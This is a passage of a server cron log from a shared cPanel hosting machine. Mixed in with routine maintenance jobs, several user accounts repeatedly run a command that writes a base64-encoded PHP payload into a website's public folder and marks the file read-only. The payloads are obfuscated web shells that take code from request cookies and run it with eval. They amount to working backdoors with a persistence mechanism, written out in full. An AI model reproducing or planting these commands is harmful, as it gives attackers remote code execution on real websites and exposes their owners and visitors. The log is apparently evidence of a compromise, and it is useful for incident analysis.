F96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:14:01 medusa CROND[6786]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:14:01 medusa CROND[6787]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:14:01 medusa CROND[6788]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:14:01 medusa CROND[6806]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:14:01 medusa CROND[6807]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:15:01 medusa CROND[30826]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 13:15:01 medusa CROND[30827]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 13:15:01 medusa CROND[30828]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:15:01 medusa CROND[30829]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 13:15:01 medusa CROND[30831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:15:01 medusa CROND[30832]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 13:15:01 medusa CROND[30830]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 13:15:01 medusa CROND[30833]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 13:15:01 medusa CROND[30842]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 13:15:01 medusa CROND[30844]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 13:15:01 medusa CROND[30846]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 13:15:01 medusa CROND[30847]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:15:01 medusa CROND[30848]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:15:01 medusa CROND[30850]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:15:01 medusa CROND[30845]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:15:01 medusa CROND[30853]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:15:01 medusa CROND[30856]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:15:01 medusa CROND[30849]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 13:15:01 medusa CROND[30857]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:15:01 medusa CROND[30863]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 13:15:01 medusa CROND[30843]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 13:15:01 medusa CROND[30852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:15:01 medusa CROND[30894]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:16:02 medusa CROND[23056]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:16:02 medusa CROND[23057]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:16:02 medusa CROND[23058]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:16:02 medusa CROND[23060]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 13:16:02 medusa CROND[23059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:16:02 medusa CROND[23061]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:16:02 medusa CROND[23062]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:16:02 medusa CROND[23063]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:16:02 medusa CROND[23064]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuIC